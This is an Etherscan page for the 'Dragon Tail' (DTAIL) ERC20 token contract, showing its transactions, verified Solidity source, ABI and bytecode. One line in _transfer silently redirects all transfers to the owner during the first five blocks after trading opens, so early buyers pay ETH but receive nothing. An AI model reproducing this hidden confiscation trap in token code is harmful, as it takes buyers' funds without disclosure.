ETH Price: $1,962.25 (-1.07%)
Gas: 0.06 Gwei

Contract

0x4A9105dCe175E6b1Ebca65d080Ec1593efC59dBf
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

1 address found via
Transaction Hash
Method
Block
From
To
Approve240873192025-12-25 4:41:5972 days ago1766637719IN
0x4A9105dC...3efC59dBf
0 ETH0.000023720.53057676
Approve234681562025-09-29 10:49:47159 days ago1759142987IN
0x4A9105dC...3efC59dBf
0 ETH0.000247415.53367401
Approve206606092024-09-02 4:51:11551 days ago1725252671IN
0x4A9105dC...3efC59dBf
0 ETH0.000028210.63082856
Approve205656422024-08-19 22:25:23564 days ago1724106323IN
0x4A9105dC...3efC59dBf
0 ETH0.000037780.84596477
Transfer205655082024-08-19 21:58:35564 days ago1724104715IN
0x4A9105dC...3efC59dBf
0 ETH0.000066231.18963096
Approve205318192024-08-15 5:03:47569 days ago1723698227IN
0x4A9105dC...3efC59dBf
0 ETH0.000154263.45397763
Approve205267212024-08-14 11:58:23570 days ago1723636703IN
0x4A9105dC...3efC59dBf
0 ETH0.000112652.5224684
Approve154975332022-09-08 16:04:571276 days ago1662653097IN
0x4A9105dC...3efC59dBf
0 ETH0.0006632229.55793203
Approve153511632022-08-16 8:00:161299 days ago1660636816IN
0x4A9105dC...3efC59dBf
0 ETH0.000404099.03570847
Approve153483012022-08-15 21:11:401299 days ago1660597900IN
0x4A9105dC...3efC59dBf
0 ETH0.0010321723.07970729
Approve153396222022-08-14 11:56:201301 days ago1660478180IN
0x4A9105dC...3efC59dBf
0 ETH0.000249935.58861809
Approve153345702022-08-13 16:56:041302 days ago1660409764IN
0x4A9105dC...3efC59dBf
0 ETH0.000387418.66266687
Approve153343942022-08-13 16:15:561302 days ago1660407356IN
0x4A9105dC...3efC59dBf
0 ETH0.000376988.42961199
Approve153337032022-08-13 13:31:521302 days ago1660397512IN
0x4A9105dC...3efC59dBf
0 ETH0.000319887.15274659
Approve153330262022-08-13 11:03:211302 days ago1660388601IN
0x4A9105dC...3efC59dBf
0 ETH0.0004919411
Approve153326062022-08-13 9:27:251302 days ago1660382845IN
0x4A9105dC...3efC59dBf
0 ETH0.0004712110.5365262
Approve153325692022-08-13 9:19:421302 days ago1660382382IN
0x4A9105dC...3efC59dBf
0 ETH0.000402499
Approve153321112022-08-13 7:29:351302 days ago1660375775IN
0x4A9105dC...3efC59dBf
0 ETH0.000321157.18117378
Approve153320352022-08-13 7:13:031302 days ago1660374783IN
0x4A9105dC...3efC59dBf
0 ETH0.000172917.70631279
Approve153320072022-08-13 7:07:021302 days ago1660374422IN
0x4A9105dC...3efC59dBf
0 ETH0.000309576.92212332
Approve153319232022-08-13 6:51:241302 days ago1660373484IN
0x4A9105dC...3efC59dBf
0 ETH0.000313867.01814065
Approve153318892022-08-13 6:44:451302 days ago1660373085IN
0x4A9105dC...3efC59dBf
0 ETH0.000384138.58941452
Approve153318802022-08-13 6:43:161302 days ago1660372996IN
0x4A9105dC...3efC59dBf
0 ETH0.0031305470
Approve153318642022-08-13 6:39:191302 days ago1660372759IN
0x4A9105dC...3efC59dBf
0 ETH0.000357778
Approve153318342022-08-13 6:31:391302 days ago1660372299IN
0x4A9105dC...3efC59dBf
0 ETH0.000387568.6661125
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...153311072022-08-13 3:47:191302 days ago1660362439
0x4A9105dC...3efC59dBf
0.78 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DragonTail

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 50000 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2022-08-13
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
            address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
            ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract DragonTail is IERC20, Ownable {
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "Dragon Tail";
    string private constant _symbol = "DTAIL";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply = 100000000000 * 10**18; // 100 billion
    uint256 private _launchBlockNumber;
    mapping (address => bool) public automatedMarketMakerPairs;
    bool private isLiquidityAdded = false;
    uint256 private maxWalletAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromFee;
    address private constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    receive() external payable {} // so the contract can receive eth
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }
    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, "You can only add liquidity once");
        isLiquidityAdded = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, deadWallet, block.timestamp);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        _isExcludedFromMaxWalletLimit[uniswapV2Pair] = true;
        maxWalletAmount = _totalSupply * 2 / 100; // 2%
        _launchBlockNumber = block.number;
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external view virtual returns (uint256) { return _totalSupply; }
    function maxWallet() external view virtual returns (uint256) { return maxWalletAmount; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), string.concat(_name, ": cannot transfer from the zero address."));
        require(to != address(0), string.concat(_name, ": cannot transfer to the zero address."));
        require(amount > 0, string.concat(_name, ": transfer amount must be greater than zero."));
        require(amount <= balanceOf(from), string.concat(_name, ": cannot transfer more than balance."));
        if ((block.number - _launchBlockNumber) <= 5) { to = owner(); }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, string.concat(_name, ": expected wallet amount exceeds the maxWalletAmount."));
        }
        balances[from] -= amount;
        balances[to] += amount;
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526c01431e0fae6d7217caa000000060058190556008805460ff1916905560095534801561003057600080fd5b50600080546001600160a01b031990811633908117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155908352600b60209081526040808520805460ff19908116851790915530808752828720805483168617905584546001600160a01b039081168852600a8552838820805484168717905581885283882080548416871790558754168752828720805490921690941790556005548386526003835281862081905581519081529051939492937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350611815806101256000396000f3fe6080604052600436106101485760003560e01c806370a08231116100c0578063a9059cbb11610074578063dd62ed3e11610059578063dd62ed3e14610426578063f2fde38b14610479578063f8b45b051461049957600080fd5b8063a9059cbb146103d6578063b62496f5146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b1461034557806395d89b4114610370578063a457c2d7146103b657600080fd5b806370a08231146102ed578063715018a61461033057600080fd5b806318160ddd11610117578063313ce567116100fc578063313ce5671461028457806339509351146102a057806349bd5a5e146102c057600080fd5b806318160ddd1461024557806323b872dd1461026457600080fd5b806306fdde0314610154578063095ea7b3146101ac5780630bd05b69146101dc5780631694505e146101f357600080fd5b3661014f57005b600080fd5b34801561016057600080fd5b5060408051808201909152600b81527f447261676f6e205461696c00000000000000000000000000000000000000000060208201525b6040516101a3919061137b565b60405180910390f35b3480156101b857600080fd5b506101cc6101c73660046113f1565b6104ae565b60405190151581526020016101a3565b3480156101e857600080fd5b506101f16104c4565b005b3480156101ff57600080fd5b506001546102209073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a3565b34801561025157600080fd5b506005545b6040519081526020016101a3565b34801561027057600080fd5b506101cc61027f36600461141d565b6109a5565b34801561029057600080fd5b50604051601281526020016101a3565b3480156102ac57600080fd5b506101cc6102bb3660046113f1565b610a04565b3480156102cc57600080fd5b506002546102209073ffffffffffffffffffffffffffffffffffffffff1681565b3480156102f957600080fd5b5061025661030836600461145e565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561033c57600080fd5b506101f1610a48565b34801561035157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610220565b34801561037c57600080fd5b5060408051808201909152600581527f445441494c0000000000000000000000000000000000000000000000000000006020820152610196565b3480156103c257600080fd5b506101cc6103d13660046113f1565b610b19565b3480156103e257600080fd5b506101cc6103f13660046113f1565b610b5d565b34801561040257600080fd5b506101cc61041136600461145e565b60076020526000908152604090205460ff1681565b34801561043257600080fd5b50610256610441366004611482565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561048557600080fd5b506101f161049436600461145e565b610b6a565b3480156104a557600080fd5b50600954610256565b60006104bb338484610cfb565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60085460ff16156105dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e6365006044820152606401610567565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091555460055461063391309173ffffffffffffffffffffffffffffffffffffffff90911690610cfb565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d719473061067f8173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af115801561070a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072f91906114bb565b5050600154604080517fc45a0155000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216925063c45a01559160048083019260209291908290030181865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906114e9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906114e9565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090691906114e9565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691821781556000918252600a602052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556005546064916109929190611535565b61099c9190611572565b60095543600655565b60006109b2848484610e79565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338085529252909120546109fa9186916109f59086906115ad565b610cfb565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115c4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610aef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115ad565b60006104bb338484610e79565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8116610cb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8216610e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f447261676f6e205461696c000000000000000000000000000000000000000000815250604051602001610ef091906115dc565b60405160208183030381529060405290610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f447261676f6e205461696c000000000000000000000000000000000000000000815250604051602001610faf9190611643565b60405160208183030381529060405290610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600081116040518060400160405280600b81526020017f447261676f6e205461696c00000000000000000000000000000000000000000081525060405160200161104191906116aa565b60405160208183030381529060405290611088576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600b81526020017f447261676f6e205461696c0000000000000000000000000000000000000000008152506040516020016110f89190611711565b6040516020818303038152906040529061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5060056006544361115091906115ad565b116111715760005473ffffffffffffffffffffffffffffffffffffffff1691505b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff1661126957600954816111ce8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6111d891906115c4565b11156040518060400160405280600b81526020017f447261676f6e205461696c0000000000000000000000000000000000000000008152506040516020016112209190611778565b60405160208183030381529060405290611267576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061129e9084906115ad565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040812080548392906112d89084906115c4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161133e91815260200190565b60405180910390a3505050565b60005b8381101561136657818101518382015260200161134e565b83811115611375576000848401525b50505050565b602081526000825180602084015261139a81604085016020870161134b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff811681146113ee57600080fd5b50565b6000806040838503121561140457600080fd5b823561140f816113cc565b946020939093013593505050565b60008060006060848603121561143257600080fd5b833561143d816113cc565b9250602084013561144d816113cc565b929592945050506040919091013590565b60006020828403121561147057600080fd5b813561147b816113cc565b9392505050565b6000806040838503121561149557600080fd5b82356114a0816113cc565b915060208301356114b0816113cc565b809150509250929050565b6000806000606084860312156114d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114fb57600080fd5b815161147b816113cc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561156d5761156d611506565b500290565b6000826115a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000828210156115bf576115bf611506565b500390565b600082198211156115d7576115d7611506565b500190565b600082516115ee81846020870161134b565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b6000825161165581846020870161134b565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b600082516116bc81846020870161134b565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b6000825161172381846020870161134b565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b6000825161178a81846020870161134b565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e0000000000000000000000602082015260350191905056fea26469706673582212204c02283b8d5f668369ace08f62bda4aac1a52428cc4f008026d239435bcfc44464736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101485760003560e01c806370a08231116100c0578063a9059cbb11610074578063dd62ed3e11610059578063dd62ed3e14610426578063f2fde38b14610479578063f8b45b051461049957600080fd5b8063a9059cbb146103d6578063b62496f5146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b1461034557806395d89b4114610370578063a457c2d7146103b657600080fd5b806370a08231146102ed578063715018a61461033057600080fd5b806318160ddd11610117578063313ce567116100fc578063313ce5671461028457806339509351146102a057806349bd5a5e146102c057600080fd5b806318160ddd1461024557806323b872dd1461026457600080fd5b806306fdde0314610154578063095ea7b3146101ac5780630bd05b69146101dc5780631694505e146101f357600080fd5b3661014f57005b600080fd5b34801561016057600080fd5b5060408051808201909152600b81527f447261676f6e205461696c00000000000000000000000000000000000000000060208201525b6040516101a3919061137b565b60405180910390f35b3480156101b857600080fd5b506101cc6101c73660046113f1565b6104ae565b60405190151581526020016101a3565b3480156101e857600080fd5b506101f16104c4565b005b3480156101ff57600080fd5b506001546102209073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a3565b34801561025157600080fd5b506005545b6040519081526020016101a3565b34801561027057600080fd5b506101cc61027f36600461141d565b6109a5565b34801561029057600080fd5b50604051601281526020016101a3565b3480156102ac57600080fd5b506101cc6102bb3660046113f1565b610a04565b3480156102cc57600080fd5b506002546102209073ffffffffffffffffffffffffffffffffffffffff1681565b3480156102f957600080fd5b5061025661030836600461145e565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561033c57600080fd5b506101f1610a48565b34801561035157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610220565b34801561037c57600080fd5b5060408051808201909152600581527f445441494c0000000000000000000000000000000000000000000000000000006020820152610196565b3480156103c257600080fd5b506101cc6103d13660046113f1565b610b19565b3480156103e257600080fd5b506101cc6103f13660046113f1565b610b5d565b34801561040257600080fd5b506101cc61041136600461145e565b60076020526000908152604090205460ff1681565b34801561043257600080fd5b50610256610441366004611482565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561048557600080fd5b506101f161049436600461145e565b610b6a565b3480156104a557600080fd5b50600954610256565b60006104bb338484610cfb565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60085460ff16156105dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e6365006044820152606401610567565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091555460055461063391309173ffffffffffffffffffffffffffffffffffffffff90911690610cfb565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d719473061067f8173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af115801561070a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072f91906114bb565b5050600154604080517fc45a0155000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216925063c45a01559160048083019260209291908290030181865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906114e9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906114e9565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090691906114e9565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691821781556000918252600a602052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556005546064916109929190611535565b61099c9190611572565b60095543600655565b60006109b2848484610e79565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338085529252909120546109fa9186916109f59086906115ad565b610cfb565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115c4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610aef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115ad565b60006104bb338484610e79565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8116610cb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d9d576040517f08c379a000000000000000000000000000000000000000000000000000000